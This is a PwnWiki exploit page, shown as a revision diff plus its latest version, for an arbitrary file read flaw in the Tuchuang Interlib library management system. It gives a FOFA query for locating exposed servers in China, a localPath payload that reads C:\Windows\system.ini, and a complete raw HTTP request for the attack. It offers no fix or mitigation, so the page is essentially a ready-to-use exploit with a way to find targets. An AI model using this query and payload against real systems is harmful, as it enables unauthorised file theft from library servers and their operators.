Difference between revisions of "圖創圖書館集群管理系統 任意文件讀取漏洞"
From PwnWiki
(Created page with "<languages /> <translate> ==漏洞影響== </translate> <translate> 圖創圖書館集群管理系統 </translate> ==FOFA== <pre> "广州图创" && country="CN" && body="/in...") |
(Marked this version for translation) |
||
| Line 1: | Line 1: | ||
<languages /> | <languages /> | ||
<translate> | <translate> | ||
| − | ==漏洞影響== | + | ==漏洞影響== <!--T:1--> |
</translate> | </translate> | ||
<translate> | <translate> | ||
| + | <!--T:2--> | ||
圖創圖書館集群管理系統 | 圖創圖書館集群管理系統 | ||
</translate> | </translate> | ||
| Line 32: | Line 33: | ||
<translate> | <translate> | ||
| − | ==參考== | + | ==參考== <!--T:3--> |
</translate> | </translate> | ||
https://short.pwnwiki.org/?c=XeNswC | https://short.pwnwiki.org/?c=XeNswC | ||
Latest revision as of 21:34, 31 May 2021
漏洞影響
圖創圖書館集群管理系統
FOFA
"广州图创" && country="CN" && body="/interlib/common/"
Payload
/interlib/report/ShowImage?localPath=C:\Windows\system.ini
GET /interlib/report/ShowImage?localPath=C:\Windows\system.ini HTTP/1.1 Host: XXX.XXX.XXX.XXX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://xxx.xxx.xxx.xxx Connection: close Cookie: JSESSIONID=657073E5FCD2C4BA12239182D01B1993 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
